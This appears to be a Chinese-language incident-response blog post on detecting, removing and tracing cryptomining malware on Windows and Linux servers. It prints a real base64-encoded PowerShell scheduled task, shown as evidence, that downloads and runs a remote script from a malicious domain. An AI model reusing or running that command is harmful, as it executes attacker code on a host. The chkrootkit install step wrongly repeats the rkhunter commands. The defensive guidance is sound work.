背景
根據某安全公司安全威脅檢測到在2019年中,惡意軟件攔截量為181.07億次,其中挖礦類惡意軟件感染占比最多(58%),其次為遠程木馬(占比14%),企業或組織內文件共享等機制也使得感染型病毒的比例在9%左右。惡意軟件一哥挖礦軟件攻擊勢頭非常猛,加密貨幣挖礦流量較去年增長約100%,在類型上也趨向隱性更好的幣種,隱蔽性更好的無文件挖礦也給企業或組織帶來了嚴峻的考驗。
什么是挖礦
我們先來了解下虛擬貨幣,以比特幣為例,比特幣是一種由開源的P2P軟件產生的網絡虛擬貨幣,它不依靠特定貨幣機構發行,通過特定算法的大量計算產生,比特幣經濟使用整個P2P網絡中眾多節點構成的分布式數據庫來確認並記錄所有的交易行為。
礦工需要為比特幣網絡提供的算法來換取比特幣,每一個比特幣的節點都會收集所有尚未確認的交易,並將其歸集到一個數據塊中,礦工節點會附加一個隨機調整數,並計算前一個數據塊的SHA-256散列運算值。挖礦節點不斷重復進行嘗試,直到它找到的隨機調整數使得產生的散列值低於某個特定的目標,因此挖礦需要耗費大量的計算機CPU資源。
如何確認服務器在挖礦
由於挖礦對計算機的性能要求比較高,老謀深算的礦工就把罪惡的雙手伸向了企業,通過各種手段入侵到各個單位的內網,運行挖礦程序,利用別人的計算資源挖礦,自己坐享其成,的確是高手高手高高手。如何快速地識別內網中是否有挖礦成為了當下網絡環境中重要的環節,可以從以下幾個方面快速定位
1.檢查系統資源
Windows
計算機一旦執行了挖礦程序,會占用大量的CPU資源,此時服務器就會變得異常卡頓。可以通過任務管理器查看服務器資源占用情況,可以看到CPU占用100%
Linux
執行top命令查看當前進程負載,可以看到這個watchbog的進程CPU占用100%,而Linux的正常進程是watchdog,很明顯,這個進程是黑客估計混淆視聽的。
2.查看計划任務&啟動項
Windows
從任務管理中可以看到,有一條使用powershell執行的命令,每5分鍾執行一次,
powershell -ep bypass -e JExlbW9uX0R1Y2s9JiMzOTt5d1pZTkx0Zlxxc2x1QXBWWiYjMzk7OyR5PSYjMzk7aHR0cDovL3YuYmVhaGguY29tL3YuanMmIzM5Ozskej0keSsmIzM5O3AmIzM5OysmIzM5Oz9pcGNfMjAxOTA2MTkmIzM5OzskbT0oTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWREYXRhKCR5KTtbU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5NRDVdOjpDcmVhdGUoKS5Db21wdXRlSGFzaCgkbSl8Zm9yZWFjaHskcys9JF8uVG9TdHJpbmcoJiMzOTt4MiYjMzk7KX07aWYoJHMtZXEmIzM5O2Q4MTA5Y2VjMGE1MTcxOWJlNmY0MTFmNjdiM2I3ZWMxJiMzOTspe0lFWCgtam9pbltjaGFyW11dJG0pfQ==
Linux
執行crontab -l查看計划任務。可以看到這個計划任務是用於下載挖礦腳本的地址
3.查看安全日志
攻擊者滲透到內網后,首選的橫向攻擊是RDP暴力破解,選擇一台機器作為肉機,掃描內網的3389端口,掃描完成后進行暴力破解。此時我們可以查看系統的安全日志,查看是否有事件ID為4625的日志。
Windows
Linux
查看主機登錄日志
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
查看爆破的源IP
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
查看爆破日志的用戶名密碼
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
在態勢感知上看到黑客上傳一個jsp腳本,請求體中是遠程執行的命令,響應體返回當前用戶的負載信息
4.查看網絡安全設備日志
很多公司都會部署防火牆或態勢感知等安全設備,當內網有機器發起挖礦時,通常都能夠被安全設備檢測到,如下圖所示,很明顯,這個就是驅動人生的遠控木馬。
5.威脅情報
當我們不能確定服務器訪問的域名是否是惡意時,可以借助威脅情報來判斷,我個人常用的威脅情報是微步和virustotal,中西結合。
根據步驟2中的編碼,通過base64解碼,得到黑客后門地址
到微步上查詢beahh.com域名,確認為惡意域名
通過以上的幾個環節,相信我們已經有足夠的證據確認服務器是否在挖礦。
挖礦木馬處置流程
在上一步我們已經識別到了機器在挖礦,接下來就要開始進行收拾這些可惡的家伙了
1.結束挖礦進程
Windows
將占用CPU高的進程結束,但挖礦很狡猾,通常有守護進程,當結束后過一會又會被重新拉起,這時我們需要觀察任務管理器中哪些進程比較可疑,可以查看進程的數字簽名,很多挖礦進程是偽造證書或無證書,我們需要靜下心來慢慢分析,推薦使用進程分析工具:processexplorer、processmonitor,綠色無公害
Linux
枚舉進程命令行
ps -aux
結束進程
kill -9 pid
2.刪除計划任務&啟動項
Windows
Linux
crontab -e
3.使用殺毒軟件查殺
Windows
可以使用公司采購的商業軟件查殺,也可以使用免費的殺毒軟件,如360、火絨等等
Linux
若有購買商業殺毒軟件可以使用商業殺毒軟件,否則可以使用開源的殺毒軟件
安裝chkrootkit 進行掃描:
Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz tar -zxvf rkhunter-1.4.4.tar.gz cd rkhunter-1.4.4 ./installer.sh --install rkhunter -c
安裝rkhunter 進行掃描:
Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz tar -zxvf rkhunter-1.4.4.tar.gz cd rkhunter-1.4.4 ./installer.sh --install rkhunter -c
4.在網關處阻斷惡意域名外聯
每個企業使用的產品都不一樣,可以根據實際情況配置相關策略即可。
溯源
當服務器被植入挖礦程序,並進行處置后,為了避免再次被入侵,我們需要找出0號機器,也就是最開始被黑客入侵的機器。另外,發生安全事件后,我們還需要向領導進行工作匯報,這個溯源的過程也是證明我們安全人員專業能力的時候了,是時候刷一波存在感了,要不然領導會說:要你有何用。
1.應用層面
只要在安全圈子的安全從業人員相信經常會聽到XXX系統爆出遠程代碼執行漏洞,XXX中間件權限繞過漏洞,因此,當服務器在挖礦時,我們首先要檢查該業務系統所采用的框架或中間件是否存在漏洞,比如weblogic 反序列化漏洞,攻擊者可以利用漏洞進行遠程代碼執行;Tomcat的manager管理后台配置錯誤也同樣可以遠程代碼執行。必要時,可以做一次滲透測試,確保在應用層的安全性。
舉個栗子,有些開發為了部署方便,啟用了Tomcat的管理后台,更可惡的是還是用了弱密碼,在這個頁面可以上傳war包,進而實現遠程命令執行。
2.主機層面
這種一般都是通過釣魚郵件或從網上下載的惡意文件導致的,說到這里,就不得不說一下驅動人生,在2018年12月份,電腦驅動管理軟件驅動人生被黑客植入惡意代碼,具備遠程代碼執行功能,啟動后會將用戶計算機的詳細信息發往木馬服務器,並接受遠程指令執行下一步操作,同時該木馬還攜帶永恆之藍漏洞攻擊模塊,更高級的攻擊方式是利用minikatz抓取本地密碼,並存入字典,進行橫向暴力破解,如此一來,實現分布式攻擊,分布式挖礦。
查看系統安全日志,檢查是否有事件ID為4625審核失敗的日志,並根據源IP找到攻擊源,如此類推,可以一層一層地找到更多的肉機。有時候可能會出現日志被覆蓋的情況,可能無法找到跳板機,此時可以借助態勢感知等網絡設備查看內網的攻擊鏈。
Linux服務器可以參考上面提到的查日志的方法進行溯源。
加固建議
1.加強基線安全
之所以內網成為了挖礦重災區,很大原因是使用了弱口令,包括很多開發人員,為了方便,將登陸口令設置為弱口令甚至空口令,有些員工會說,我的電腦沒聯網啊,怎么會被攻擊呢?殊不知,內網也有被攻陷的一天。部署堡壘機,所有服務器必須通過堡壘機登錄,縮小攻擊面,如果是Linux服務器,可以使用證書登錄而不是密碼,這種被爆破的幾率就小了很多。針對辦公電腦開啟遠程桌面的情況,我們可以定期掃描公司內網開啟3389、22端口的機器,並進行暴力破解。這樣子我們就知道內網存在哪些風險點。
2.關閉不必要服務
關閉相關共享端口(135、137、138、139、445)及不必要的端口。應用管理后台盡量不開放到外網。
3.打補丁
打補丁是老生常談的話題,像永恆之藍這類的補丁在部署的時候就應該打上。但有些服務器不能隨便打補丁,會影響業務。針對這種情況,可以通過虛擬補丁或IPS來避免漏洞被利用
4.安裝終端防病毒
殺毒軟件可以攔截暴力破解,清除病毒文件,保護最后一道防線。市面上殺毒軟件參差不齊,選擇一款適合的殺毒軟件至關重要。可以在病毒檢測准確度、防爆破、基線檢查、漏洞檢查/修復、資源占用大小、管理易用性、webshell查殺、僵屍網絡、市場占有率、系統兼容性等各個維度來進行選購。
5.部署安全網關
服務器上的木馬下載器會連接黑客的遠控服務器,下載病毒文件,安全網關可以有效攔截木馬下載器下載,黑客也就無法遠程操控服務器。安全DNS也是一個不錯的選擇,大部分公司都會在內網部署DNS服務器,部署安全DNS可以在主機解析惡意域名時就攔截。
6.定期信息安全意識培訓
研究表明,75%的信息安全事件是人為造成,因此降低人的不安全行為可至關重要,而在安全意識培訓中,釣魚郵件演練是比較有效讓員工提升安全意識的有效手段之一。信息安全意識培訓涉及的內容較多,這里不細說,有機會開個專欄講解信息安全意識培訓。